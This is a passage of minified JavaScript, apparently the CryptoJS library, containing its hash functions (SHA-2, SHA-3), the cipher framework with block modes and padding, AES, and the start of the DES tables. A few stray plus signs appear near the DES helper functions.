o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 